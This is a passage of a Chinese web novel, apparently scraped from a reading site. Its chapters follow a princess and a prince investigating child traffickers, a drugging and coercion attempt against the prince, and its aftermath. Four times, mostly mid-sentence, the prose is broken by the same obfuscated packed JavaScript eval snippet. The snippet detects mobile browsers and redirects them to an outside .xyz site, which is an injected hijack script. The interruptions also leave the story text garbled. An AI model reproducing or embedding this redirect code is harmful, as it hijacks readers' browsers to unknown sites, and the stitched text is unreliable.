方才光顾着与姚知远生气,竟连这么近的脚步声都忽略了,实在是失策。 封眠今日穿了件茜色团花交领短袄,配渐变雨过天青色三裥裙,盈盈一笑立在灰扑扑的房间里,仿佛连天光都变得更亮了。 她笑吟吟地颔首与姚知远打了个招呼,“姚大人,又叨扰了。” “下官正想着今日寻个时机去拜见郡主。”姚知远说着自案几上拿起几摞纸,上前递给了封眠身后的雾柳,向封眠汇报道:“云中郡近五年来自外地流入的人员买卖文书皆在此处了。” “郡主放心,我寻了旁的借口私下调的文书,云中郡官府众人俱不知我所调何物,想来应当不会打草惊蛇。” 百里浔舟:?我也不知道你何时去调的这些东西啊。 姚知远什么时候都越过他为郡主办事了? 郡主调这些文书又是要干什么? 打的什么草?怕惊什么蛇? 最信任的军师和虽无实却有名的世子妃居然一起瞒着他? 百里浔舟惊疑不定的目光在两人身上来回打转,仿佛听到了心碎的声音,一时仿佛失了声般,心里塞满了疑问,却竟是一句话也问不出来。 许是百里浔舟的目光太过明显,封眠转眼看见他面上的震惊不解之色,便知他想要问什么,先主动解释道:“我看世子近些时日都忙得宿在了军营之中,便没有和你说此事。” 军营中本就有一堆糟心事等待解谜了,封眠想着自己也可以处理好,便也没特意找他说。 但是要绕过人均有嫌疑的郡首府上下官吏,取得近些年可疑的人员买卖文书,查清云中郡究竟有多少被拐卖的人口,又是否是同一拨人所为,封眠想来想去还是只能请姚知远帮忙。 “幸好姚大人似乎没有世子这般忙碌,一口便应下了。这才没两日就将东西都拿到手了。”封眠说着说着又夸起了姚知远,“姚大人当真是剖决如流。” 姚知远摆摆手,“兵贵神速,迟则生变。属下也是多年跟随世子行军,练出来了。” 百里寻舟听了封眠的解释无话可说,毕竟是他自己明明有空却不回家,总不能怨旁人太过“体贴”,不主动给他找事吧? 他听封眠说了拐卖一事,亦是十分愤怒。他与父王在外攘敌,可不是给这些恶贼宵小时机祸害大雍百姓的! 幼时他也曾马失前蹄,因为救人而反被拐子一起拐卖过一段时间,很是吃了一番苦头。因此也知道这些人有多么狠毒狡猾,更觉事不宜迟,当即道:“最近北夷尚算安分,此事我还是能帮得上忙的。” “既已有了嫌犯画像,我可以让亲卫去暗中守在城门各处。他们即便现下不在云中郡,但既然是惯犯,便总还会来做交易。” 百里浔舟便暗暗咬了咬牙根,待将人抓了,他定要这些尝尝生不如死的滋味,看看何人还敢再顶风作案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105227|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 他飞快地将身后的舆图打开,在上面圈了几处给封眠看,“云中郡周边有几处人烟稀少的山脉,这些拐子在城镇中间转移时,一般不会冒险选择在城镇落脚,尤其是云中郡。” “听你们说,似乎有官吏与他们内外勾结,但毕竟定北王府还在云中郡,他们或许敢带一两个混进来交易,却不敢选择在此处久待。” “所以他们很可能会在山脚处藏匿,北疆山脉地形都很复杂,被拐来的的孩子们进了山必然也很难靠自己跑出去。” 封眠深以为然,赞同地点头,“好,那晚一点我就让人将画像送来。” 说罢,她忽然走向百里浔舟,百里浔舟吓了一条,就见她自袖间取出一个巴掌大的小香包,一股极淡极雅的香味随着她的动作蔓延开来,丝丝缕缕飘入百里浔舟的鼻中。 封眠两手各抓香包一边,将香包上的绣样展示给百里浔舟看,“我绣的,好看吗?” 她仰起脸,期待地看着百里浔舟的反应。 靛蓝色的香包上绣着一艘艨艟巨舰,针脚细密,配色鲜亮,迷你的艨艟格外雄浑有气势。 百里浔舟在她灼灼目光的注视下根本说不出“不”字,更何况这艨艟绣的确实漂亮,当即点头予以肯定:“好看。” 说罢,就见眼前这张比绣样还要漂亮的少女脸蛋上露出一个足以令冰雪消融的笑颜。 “那送给你。” 百里浔舟尚愣着,便觉腰间革带被勾了一下,封眠已上手要将香包系在他的革带上。 “我特意合着你的名字挑选的绣样,香味也是我自己调的,我是觉得还挺适合你的。” “希望你也喜欢。” 她说这话时已系完了香包,仰首冲他眨了眨眼,让百里浔舟心口倏地一跳,连拒绝都不出口,脑袋似乎因问了香气而有些晕乎乎的,只能讷讷应道:“嗯,多谢。” 封眠笑眯眯地退开两步,“那么城外的几处便交予世子了,这几日我会去悄悄排查一下姚大人调来的这些文书,看看有多少是被拐卖至此的,尽量能早日查清一切,也早日送他们回家。” 百里浔舟闻言顿时肃容点头,待目送封眠几人离开,他出门越过姚知远时,忽地撩了撩腰间的香包。 “我有这个,你有吗?” 姚知远:…… 姚知远看着百里浔舟远去,清淡的脸上露出一点困惑来:“这么在意这个做什么?心动的到底是谁啊?” * 自打从姚知远那里拿到了文书,封眠便一直窝在屋里头看,到了夜里头也不愿睡,多熬了两个时辰,翌日醒来便染了风寒,鼻子塞塞的。 唬得雾柳赶紧伙同流萤没收了那堆文书,又端来一碗药,勒令封眠喝了药好好休息一日。 “若郡主逞一时意气,将自己累倒了,可要养到何时才能好?那这些被拐的孩子,要何时才能等到郡主来救?” 封眠拗不过,只能歇下了。再醒来时已是日薄西山,又听雾柳说世子殿下派人传信说今晚回府,有要事与她说。 可她左等右等,等到院里挂起了灯,天黑透了,连世子归家的马蹄声都还未听见。 37. 第 37 章 “咱们沿街铺子的人都说傍晚时就瞧见世子回来了……”雾柳去打听了一圈回来,眉间愁色更重了,好端端一个大活人,怎么回着回着家便不见了? “郡主,咱们要报官吗?” “先不急。”封眠摇了摇头,“他身边惯常跟着山衣,若是遇见歹人,两个人总也能闹出些动静来的。” 就这么悄无声息地不见了,很可能是遇到了什么熟人,又突然发生了什么比较紧急的事…… 她忽然想起来,傍晚睡醒时,流萤叽叽喳喳地和她讲自己这一日听闻的八卦,其中最重要的一条便是隔壁元府今日要给三姑娘元寄雪定亲。 流萤虽说对元寄雪有了稍许的改观,但心底里头还是担心她会不会有一日进了世子的后院,听说她快要嫁人了,自是眉飞色舞了半晌。 只是隔壁将消息瞒得紧,她只知元府看中的乘龙快婿家中富裕,元寄雪嫁过去是享福的,心中倒也真心地为她高兴。 现下封眠想起此事,忽然觉得有些不大对劲,若家中姑爷是个玉树芝兰的好儿郎,寻常人家定了亲事巴不得让左邻右舍都来贺喜,元府瞒着做什么? 莫不是这桩婚事其实并不如意,元寄雪逃了出来…… “流萤,你去元府问问三姑娘可在府上,邀她过来一趟。若元府人推拒,你便直接回来。” “是,郡主,奴婢这便去!” 流萤扭头跑了出去,封眠又吩咐雾柳,“去找鸾仪卫,牵条狗来。” 片刻后,流萤和雾柳都回来了。 流萤:“元府说三姑娘病了。奴婢瞧他们府上现下忙乱得很,像是出了什么事。” 封眠已披上了防风的淡青绸面斗篷,脚踩一双软缎绣鞋,匆匆领着众人从侧门出了王府,不许下人惊动王妃。 她自袖间掏出一个小荷包,又从荷包里头取出一个靛蓝的香包,布料和她白日里给百里浔舟的香包一模一样,显然是用剩下的边角料缝制的。 鸾仪卫所牵的细犬体型修长,威风凛凛,正十分乖巧地蹲踞在门边。 封眠将小香包递到细犬鼻尖处,“乖狗儿,仔细闻闻,追着这个味道走。” 香包里的香料是她请教了侍医之后调的,凡所经之地,三日余味不散,最便追踪行迹。她本是为日后做打算的,没想到这么快便用上了。 夜色宁静,街道上已几乎没什么行人,只有檐底的灯笼和某户人家的窗棂透出一线微弱的烛光,巷角偶尔传来几声低低的犬吠。 手提的灯笼照亮一行人忽急忽缓的步履,影子摇摇晃晃地映在墙上。细犬的爪子踏在青石板上,发出细微的“嗒嗒”声。 它的耳朵警觉地竖起,鼻尖贴地,时不时停下,轻轻嗅闻,再继续向前。 拐过几道曲折的巷口,四周愈发冷僻,灯影渐稀,狭窄的小巷仅容两人并排通行,青砖地面坑洼不平。 封眠忽然觉得此处有些眼熟,好似是上次她因误会有人跟踪元寄雪,而跟来的那个巷子。 行至尽头,细犬忽然停下,目光紧盯前方, 那日封眠未再上前,不知巷子尽头那位何阿婆的居所的右侧,还有一道深巷,里头一间小院半隐在黑暗中,可见屋内燃着烛火,在窗棂上映出一道高大的身影。 百里浔舟强撑着走到窗前,忽地膝骨如被抽了筋般发软,泄力跌坐在老旧的木凳上,半趴在桌沿上。 他四肢酸软,全无力气,额上冷汗涔涔,双目因克制着体内乱窜的冲动而充血,气息紊乱,咬牙切齿道:“你早就计划好了?” “我没想走到这步的……” 少女虚弱的声音在空荡的房间内响起。 这是一间装潢简单的寝屋,一面墙前立着一个半旧的药柜,其余便只有一桌一椅一床。 唯一的桌椅已被百里浔舟占了,那一架普通的木架床上,元寄雪柔若无骨地倚靠在床角的立柱上。 她脸上泛着不正常的潮红之色,嘴唇已被咬出了血。 “若不是今日……” 若不是今日元夫人擅自请了刘员外上门,甚至在她喝的茶水中下了药,想让她失身于刘员外,被迫应下这桩婚事,她怎么会走到这一步? 她一想起在自己的卧房里忽觉手脚酥麻,不正常的痒意自后脊攀升,惊慌回身时看到刘员外那张油腻老态的嘴脸,便觉得如坠冰窖。 一想起被他肥硕的身躯压在床上,被他满眼淫邪之色注视时的情境,就觉得恶心。 她挣扎着抓起烛台砸晕了他,踉踉跄跄地从后门逃了出来。 那么巧,偏那么巧就遇见了百里浔舟。 她像抓住最后一丝稻草那样抓住他的袍角,求他不要声张,求他悄悄将自己送来此处。 这一刻她无比庆幸自己曾经想逃离元府,所以悄悄攒钱,在外头置办了个荒僻的小院子。 她跟百里浔舟说自己被下了药,但有法子解开,需要他和山衣帮忙取一下药材。 他们信了,趁他们在药柜找药时,她点燃了刚制好不久的三更倒和合欢香。 三更倒很快发作,元寄雪最初制香时便加大了剂量,连一点反应时间都没有,山衣直接跌在了地上,百里浔舟亦开始行动迟缓。 他这时候才意识到元寄雪下了药,但已经晚了。 元寄雪单独给山衣喂了粒迷药,像滚石头那样把他丢出了房间,然后锁紧了门窗。 便是再不开窍的蠢人也知道元寄雪想干什么了。 百里浔舟打翻了香插,但香雾弥漫在密闭的空间里不散,依然毫无用处。 “拿解药出来,我保证,绝不追究你。”百里浔舟眼前一阵一阵地发晕,喉间涌上一股腥甜,血液滚沸着往小腹涌去,颈后沁出的热汗将衣领黏在皮肤上,一呼一吸皆是灼烫的空气。 “我……不想解。” 元寄雪亦是十分难受,空气中的合欢香催动着她体内被元夫人下的药,让她喉头干渴,十分难耐,可手脚又是软的,动也动不得。 她眼中蓄起盈盈泪光,脸上的潮红既因药效,又有欲死的羞惭。 她真的不想走到这一步,可她已经无路可走了,她宁愿丢光了脸面,被百里浔舟痛恨厌恶,也想在这几乎将她溺毙的深渊之中,牢牢抓住这唯一能触碰到的浮木。 “我便是死,也不会碰你的。”百里浔舟再次咬破了舌尖,铁锈味在口中漫开,痛楚让他保持着清醒。 元寄雪苦涩地勾了勾唇角,“就算,什么也没发生。明日一早,不管先找到你我的,是元府的人,还是王府的人,都说不清了。” “你难道以为,我会在这里坐以待毙?” 咬破舌尖带来的片刻清醒支撑着百里浔舟拔出了藏在袖中的匕首,他毫不犹豫地在左手上划出一道深深的血痕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109561|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刺痛激得他神思一瞬清明,身体也寻回了些微的力气。 他立即踉跄起身,跌跌撞撞扶着墙,往门边行去,半路晕眩之感袭来,他又反手划伤手臂,鲜血滴滴答答蔓延一地。 “你……” 就在百里浔舟扶到门框上时,紧锁的房门忽然自外部被猛烈地撞击着,不过两瞬,房门便被破开,一道身影卷着户外清新的夜风钻了进来。 封眠:“百里浔舟?!” 她双目飞快在屋内扫了一圈,略过绝望闭目的元寄雪,正纳闷百里浔舟那么大一个人藏哪里去了,身侧一道高大的身影便软软倒向她。 在一片惊呼声中,封眠踉跄着抱扶住一头栽过来的百里浔舟,只觉满怀滚烫,他鼻尖呼出的灼热气息打在她的颈侧,与拿烧红的炭火抵在她脖子上没甚区别。 一颗心提到了嗓子眼,封眠轻轻拍了拍百里浔舟的后背,正要开口,便他低哑模糊的声音在耳边含混地说道:“我没事,回府。” 扶住百里浔舟左半身的手忽传来湿热黏腻的触感,封眠费力地扭头瞥了一眼,瞳孔瞬间睁大,全是血! 呼吸一窒,封眠迅速吩咐下去:“来人,背世子回府。流萤,雾柳,你们两个留下照顾……” 她瞥了一眼屋内的元寄雪,隐去了称呼,转而厉声道:“今日之事谁若敢吐露半个字,军法处置!” 众人低低应了声“是”,一名鸾仪卫上前背起百里浔舟,流萤气鼓鼓地站在门口瞪着元寄雪,不情不愿地跟着雾柳进屋开窗,整理屋子。 * 浴间热气缭绕,百里浔舟泡在飘满了药材的浴桶内,体内的药力伴着不断冒出的汗水被排了出来,舒坦地长叹一口气。 被他自伤的左手横搁在浴桶边,越过浴桶前摆着的小屏风,正由封眠上着药。 封眠看着那两道狰狞得深可见骨的伤口便觉一阵幻痛,龇牙咧嘴地缓了一阵,才做好心理准备,细细将药涂了上去。 “你对自己可真是下得去狠手。” “我最恨旁人这样拿捏我,岂能让她如意。”百里浔舟睁开眼,眼底一片凉意。 想到元寄雪,封眠心下叹了口气,结合元府的乱象,她大概猜得出来发生了什么。 百里浔舟被算计了,唯有满心怒火。她起初自然也是生气的,但冷静下来再想,只觉得悲凉。 她看得出来元寄雪一直在尽力维护自己的自尊,家中的腌臜事能藏则藏,不肯被外人窥见半点狼狈,想试探百里浔舟的心意,想挑拨她与百里浔舟之间的关系,都做得小心翼翼别别扭扭。 想为自己的前程做些伤人的坏事,却又磨不开脸狠不下心。 现下被逼走到这一步,恐怕元寄雪心里的绝望还要更多。 “山衣如何了?”百里浔舟压了压怒火,终于想起可怜的小侍从,问道。 山衣也是将封眠吓了一跳,踏进院子时见他一动不动躺在门边,她险些以为他没气了。 “侍医去看了,方才说没什么大事,先睡着吧,明日再给他开药。” 此事不宜闹大,封眠便只请了一位侍医来,给百里浔舟开完药浴,又去看山衣。 给百里浔舟的伤口上药的事这才落到了封眠的头上。 封眠一面为百里浔舟掌心的伤口包扎,一面还是不容回避地提出了那个问题:“此事,你想如何处置?” 38. 第 38 章 元寄雪不见了。 她毕竟是别人家未出阁的女儿,还被是被自己的继母下了药,百里浔舟本也不能将她如何。 况且他也不想将此事闹大,他自己的名誉清白也是很重要的呀。 所以他只打算日后不许她再进王府,不再相见便罢了。 倒是她那个胆大包天的继母,需得找一日将人套了麻袋教训一番才是。 封眠的想法和百里浔舟差不多,元寄雪应向百里浔舟这个苦主道歉,承受自己应担的责罚,而那位黑心肝的元夫人定然也不能轻饶了,仗着自己是一家主母便给继女下药□□,岂能轻轻揭过? 然而翌日一早,流萤和雾柳便来报,元寄雪留书一封,便消失不见了。 彼时封眠和百里浔舟刚折腾了一通,封眠才睡着没半个时辰。 昨夜。 百里浔舟的左手和手臂被封眠包成了一个棒槌,直挺挺地杵着,非常不习惯,一直试图说服封眠替他重新包扎一下。 “这样我如何睡?” 封眠果断地拒绝:“不行。这是惩罚。” 百里浔舟万万不敢置信:“我是受害者。” 封眠有理有据道:“你一点也不爱惜自己的身体。” 百里浔舟不大服气:“若易地而处,你会如何做?” 封眠:…… 封眠不得不承认,或许她会做出和百里浔舟同样的选择,哪怕自损三千也要先逃出去。 被人这般拿捏的感觉,确实很值得愤怒。 但她奔波了一晚上,当真累了,不想再拆、再包一次伤口,当即拉起被子一盖就要睡觉,单方面结束了交流。 百里浔舟没了法子,只能仰躺着独自适应自己被包成棒槌的左手。 他刚要迷迷糊糊地睡过去,便听身侧封眠的呼吸声不大对,闷闷的,带着些不大舒服的轻哼。 他侧首一看,人还睡着,眉心却轻轻皱了起来,好像很难受的样子。 百里浔舟当即挺腰坐了起来,伸出完好的右手摸了摸封眠的额头,触手烫得他指尖一跳,立刻跳下床喊人。 刚躺下的侍医又被折腾起来给封眠把脉,眼下青黑都又深了几分。 幸而只是普通的伤寒热病,这是封眠常得的小毛病了,侍医见惯了这等场面,熟门熟路地开了药方,说喝了便好。 流萤和雾柳都不在,底下的小丫头煮好了药送来,百里浔舟便亲自动手将封眠摇醒,让她喝药。 封眠烧得昏沉沉的,身上难受,又困得上下眼皮打架,迷迷糊糊的十分不清醒,闻见冲鼻的药味便躲,黏黏糊糊地开口:“不要。” 百里浔舟瞧着有趣,她往左边躲,他便追着把药碗往左边递,“为何不要?” “难闻。”她又哼哼唧唧地往右边躲。 他闷笑着将药碗递过去,“难闻也要喝,对身体好。” “讨厌。”封眠扭头往左边躲,拒不配合。 百里浔舟直接眼疾手快地在她躲到左边时,将药碗怼到了她的嘴边。“快喝。” 封眠死抿着嘴唇往后躲,“拿走。” 趁她张嘴,百里浔舟直接将药碗怼进她嘴里,生生灌了一口药进去。 这一灌,两个人都呆住了。 百里浔舟小心翼翼地试探着伸出被绑成棒槌的手,想帮她拍一拍背,“没呛着吧?” 封眠一双乌黑的眼珠眨也不眨地盯着面前的百里浔舟,看得百里浔舟后脊一凉。 生病的人本就较平时脆弱,加上也没睡饱,脑袋里一直混混沌沌的,心里的委屈便海啸似的涌了上来。 封眠嘴一撇,情绪控制了大脑,泪珠断了线一样掉出眼眶的同时,一头往百里浔舟身上撞,试图砸死这个追着她灌药的讨厌鬼。 她成功了一半。 没把人砸死,但药洒了一地。 封眠以为自己是用了十成的力砸过去,看在百里浔舟眼里,她却是忽然软绵绵地倒进自己怀里。 为了接住她,免得她摔到地上又磕出什么毛病来,百里浔舟失了平衡,单手端着的药碗翻倒在柔软的地毯上,染了一地的褐色。 但好在人是结结实实地抱住了,完好无损。毛茸茸的脑袋恰好埋在颈窝处,带来热乎乎的痒意。 百里浔舟吩咐人去重新煮一碗药来,然后单手将封眠抱起来,搁回了床上。 隔着薄薄的寝衣传来滚烫的温度,让百里浔舟后知后觉地红了耳根,退开两步。 封眠一沾床便躺倒了,撩起被子便钻了进去,试图把自己跟百里浔舟进行一番隔离。 百里浔舟失笑,抬手帮她拽了拽被子,将露在外面的腿脚一并盖了起来。“躲也没用,待会儿药煮好了,还是要喝。” 被子底下的人躺得直挺挺的,一动不动。 百里浔舟看着,轻轻叹了口气。 他打小身强体健,几乎没怎么生过病,只有受伤被母亲发现的时候才会被押着喝药,没体会过体弱多病的滋味。 看着她这么讨厌药味,从小还要喝那么多药,想想当真有几分可怜。 百里浔舟忽然觉得,之前疯传的“解厄星”若是真的也没什么不好,起码让她健健康康的,少生些病。 封眠躺着躺着便真的睡着了,睡着睡着又自己将脑袋钻了出来,热得脑门汗津津的。 新的药早便煮好了,但百里浔舟瞧见她好不容易睡熟了,犹豫半晌还是没将人再摇起来喝药,还是等流萤和雾柳回来再说好了。 当下便只拿手帕细细将她额上的汗擦去,免得被风吹到,受了凉病得更重。 随后就这么放任封眠睡了半个时辰,天蒙蒙亮的时候,流萤和雾柳拿着元寄雪留下的信急匆匆赶回来了。 信上写着百里浔舟和封眠的名字,百里浔舟便打算等封眠醒了再看。 又过了一个时辰,外头的日光照到了封眠的眼皮上,她终于迷迷糊糊地转醒了。 百里浔舟坐在窗边的春凳上,流萤和雾柳端来药和蜜饯,轻声细语地将人哄坐起来,封眠皱着眉头将药一口干了,再咬住递到嘴边的蜜饯细细嚼起来。 然后两人立刻将空药碗拿走,开窗开门,通风散药味。 这下百里浔舟总算是知道为何自己第一次求见时,明明说封眠正在病中,却一丝药味也没闻见了。 饱睡过一觉,封眠觉得精神好多了,她拥着被子倚靠在床柱边,瞧见坐在窗户前的百里浔舟时,记起百里浔舟试图喂药,而自己一通发脾气的画面,顿时微微一赧。 “抱歉啊,我睡不饱的时候,偶尔会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115033|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些起床气” “无妨。”百里浔舟拿上信起身,坐到了床榻边,“元寄雪留下封信走了,一起看看?” 封眠点点头,接过信打开,看见元寄雪先是给百里浔舟道了歉。 “三更倒和合欢香确实是为你制的,但若不是元夫人忽然给我下药,我又这般巧地在逃出来时遇到了你,我本已打算将香毁掉了。” 后面接着又向封眠道歉。 “如果有选择,我也不想用这样下作的手段。可如果我的人生总要被一个男子左右,那我宁愿自己选择一个不那么差的。进王府给百里浔舟做一个侍妾,也好快顺从了元夫人的心意,嫁去老男人府上受折磨。” “我不想再回元府了,我想去一个全新的地方生活。谢谢你,也替我谢谢王妃这么多年来的照顾,我让她失望了。” 信件戛然而止,并没有留下诸如“勿念”之类的结语,只有一滴因提笔思索良久而落下的墨痕作为结尾。 元寄雪犹豫了很久,自认为做下这样的腌臜事,定会为人所厌弃,谁还会念她顾她呢?干脆就此罢笔。 封眠叹了口气,只觉得心口堵堵的,有一点难受。她将信折好,交给雾柳收起来。然后便看着百里浔舟,沉默不语。 百里浔舟读懂了她想问的话,道:“北疆对女子的条条框框比之盛京还是少些,她又会医术,应当不会缺了谋生的法子。” 封眠点点头,忽又想起什么,“你昨日派人回来说,你有要事要告诉我哦,是什么事?拐卖团伙有消息了?” “我亲卫中有一人家住城外,他说自己回家探亲时,曾见过画像上的两个人,往王巫山行去了。” “当真?”封眠眼前一亮,“那岂不是很快便能摸到他们的老巢了?” “我已经派人乔装去探寻了,这两日应该会有消息。” “那太好了。”封眠高兴了一瞬,转念又有些懊恼,“我的文书还没筛过多少呢,进度落你许多。” 她往窗外看了一眼,雾柳还没回来,她忙推了推百里浔舟,“文书被雾柳收在隔壁那个红木箱子里,你去帮我取来。别被她瞧见了。” 百里浔舟一动不动,“为何要避开雾柳?” “她、她瞎操心,你不必管这个,帮我拿来就是了。”封眠先是支支吾吾,再是理不直气也壮地催促。 “你当侍医光会看病开药,旁的什么都不会说是不是?” 侍医一边给封眠把脉,一边絮絮叨叨地着封眠太不把自己的身体当回事,仗着他随叫随到,连夜都敢熬了。 听侍医吐了一肚子苦水,百里浔舟哪里还能不知道封眠昨日就已有生病先兆,万万不肯去替她取文书。 “你便听医嘱好生歇上两日。待我将人抓了,让官府贴个告示,被拐的孩子们安全了,自己便会出来了。” “现下罪人尚未伏法,你便是将他们挑了出来,上门去问,他们也未必敢说实话。” 封眠不得不承认百里浔舟说得有道理,是她太过想当然了。 “对了,你是怎么找到我的?”百里浔舟忽然问道。 封眠一僵,地鼠进洞一般往下一滑,躺进被子里,闷声道:“我要休息了,你快去忙吧。” 百里浔舟:“……” 算了。 39. 第 39 章 藏弓院四下门窗皆敞着,令风透透地吹了一遍,空气中浮动着清新的枝叶花草的味道,让人心神为之一轻。 明媚日光轻柔地笼住寝屋内的案几,封眠半倚在撑手的凭几之上,认真翻看着面前的文书,不时拿笔在案几上摊开的纸册上记录着什么。 耳边忽然喀啦一声,惊得封眠手中的笔在纸册上划出长长的一道墨痕。 “对不起郡主!” 在她身旁磨墨的流萤无措地握紧了墨条,她方才出了神,手上没个轻重,发出怪声扰了郡主便罢,怕是这盏墨也要毁了。 封眠一眼便看出她的担忧,笑着搁笔,点了点流萤的额头,“没事,我又不是什么书法大家,这墨能写字就行了。倒是你,想什么心事呢?” 流萤支支吾吾的,在封眠的眼神鼓励中,才说道:“奴婢在想元姑娘……” “奴婢有时觉得她人还挺好的,可又会做坏事。但她也是被逼得没办法了,那她算是好人,还是坏人呢?” 经这么一番折腾,元寄雪努力想要遮掩的元府的阴暗面尽数在封眠几人面前抖落了出来。 流萤才知道元寄雪的身世竟和自己如此相似,不同的是自己被继母卖掉为婢后,遇到的是郡主这样的好主子,即便在吃人的皇城之中,也处处爱护着她,有时她甚至觉得自己被郡主当做妹妹般来宠护着。 也因此流萤觉得离开那个家没有什么不好的,如今她所拥有的爱,比在家中时要多得多。 可元寄雪却一直生活在虚假的家的牢笼里。流萤简直不敢想,年幼的元寄雪在失去母亲之后,看见父亲领回来另一个女人,以及一个比自己和姐姐还要大上几岁的兄长时,是什么样的心情。 是的,流萤才知道元寄雪居然还有一个一母同胞的亲姐姐,这位元府二小姐刚到及笄之年便被继母远嫁,短短一年就在夫家的搓磨下投河自尽,可元老爷根本没为自己的女儿寻公道,草草将人葬了后,仍为了生意和这户人家亲密往来。 流萤想,若换做是她,怕是早就疯了。所以她有些同情和心疼元寄雪,但又担心自己是不是不分好坏了呢? “好人和坏人,哪有那么分明的界限?”封眠挽袖给自己和流萤倒了杯茶,细细思索着,慢言道,“行善了一辈子的人,若某日经了变故,情急之下错手伤人,是否便成了恶徒?” “杀人放火无恶不作的贼人,一时恻隐,在寒冬给乞儿一碗热粥,这是不是善心?” “人非庙中泥塑,非黑即白,非正即邪。善与恶,往往只在一念之间。若因一事定终身,那天下无人可称善,也无人不可恕。” 流萤抿一口热茶,懵懂地点了点头,“所以好人也会做错事,坏人也有回头的机会?那坏人从前做错的事,就能一笔勾销了吗?” “一时之善,未必能赎从前的罪。”封眠微微摇了摇头,“真正犯下恶行之人,终要受罚才行。” 她顿了顿,悄悄冲流萤挤了挤眉眼,小声咕唧:“比如那位元夫人。” 流萤没忍住,举起茶盏遮在脸前,闷闷地笑了一声。 封眠继续道:“元姑娘虽做了一点错事,但终究情有可原。她在家中惯常被继母欺负,被父兄打骂,却依旧守有底线,未酿下大错,如今也知错认错,远走悔过。” “看她底色,良知与愧疚都远胜心中恶念,所以我觉得她还是个好姑娘。你觉得呢?” 流萤好似心头压着的大石头被搬开了一般,露出一个明亮纯粹的笑来,“奴婢也这般觉得!” 她饮尽杯中茶水,有些不好意思地重新拿起墨条,“我又拖郡主的进度了,郡主你快继续吧,我这次一定专心磨墨!” 封眠笑着拿过文书,翻看前,向窗外望了一眼,是个风和日丽的好天气,也不知道百里浔舟那里如何了? 如若可能,她真不想放他单独出城。这两日,她忽然想起一个之前梦境中被遗忘的细节。 在落鹰峡那场惨烈的战事原定的结局中,百里浔舟送父出殡,路遇了什么神秘高人,隐隐有劝他王天下之意。 当时封眠全部心神都被如何救人占据了,彻底遗忘了其后的这一行小字,再忆起时已十分模糊,也幸好那段时间百里浔舟没再出城。 不过百里浔舟临行前答应他,查访王巫山最多一日也便回来了,应当不会出什么意外。 封眠刚这般安慰自己,雾柳就小碎步跑了进来,“世子着人传话,说是在王巫山东北方向忽有匪情传来,要带人去剿匪,今日赶不回来了,让郡主不必等他。” 啪嗒,封眠手中的笔掉落在案几之上,墨汁彻底污了纸册。 不回来了?那怎么成! 若是这时候碰见那劳什子神秘高人可怎么办? “快,备马车!” * “什么?” 百里浔舟拧眉瞪着面前的哨探,眸光如利箭一般,“跟丢了?你怎不将自己一并丢了!” 哨探羞愧地几乎将头埋进胸口,“属下也不知怎么的,当真只是一错眼,人就不见了。前头只有一片山崖,兴许是有下崖的暗道,但属下还未探到……” 即便气越来越虚,还是将情况精准地送入了百里浔舟的耳中。 百里浔舟翻身下马,长腿一迈,身后披风飘荡,“带路。” 他们本顺着王巫山追踪拐子的踪迹,发现人似乎在往东北方向移动,派了哨探先行,却得知拥雪关突现匪患的消息。 这事才发生不久,还没报到云中郡。 百里浔舟福至心灵,猜测这些人兴许是想趁乱分一杯羹,寻常百姓遇到匪患逃乱时,他们便更有机会拐骗人口。 这些人的胆子和胃口真是不小。 百里浔舟自不能放任匪患滋长,他惦记着自己离府时被封眠拉着保证过晚上一定回府,便派了个人回去通知一声,兀自带着其余人向拥雪关进发。 到了据说有匪患的地方,哨探却找不着人了。 传出去岂不是让人笑掉大牙? 但百里浔舟跟着哨探上了山崖,却也知此事当真不能怪他们。 过了崖壁光秃秃的冬日,茂密的植被覆盖着山崖,加之地形复杂,不知哪一处植被覆盖的地方便是一个小断崖,自己走路都要摸索着前进,以防意外。 但本地的人天然就比他们熟悉地形,跑得比他们快,躲起来自然也十分难找。 百里浔舟半蹲在哨探所说的人消失的断崖前,试图通过草叶压痕推断出,人是从哪个地方消失的。 忽然他耳尖微动,捕捉到右后侧传来一丝几不可闻的窸窣声,头也不回地迅速拔出袖间匕首,手腕一振,刃尖破空而去,直刺声源之处! 稚嫩的尖叫声响起,一个小小的身影扑倒在草丛中。 百里浔舟大踏步上前,将穿透他腰侧衣裳把人钉在地上的匕首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 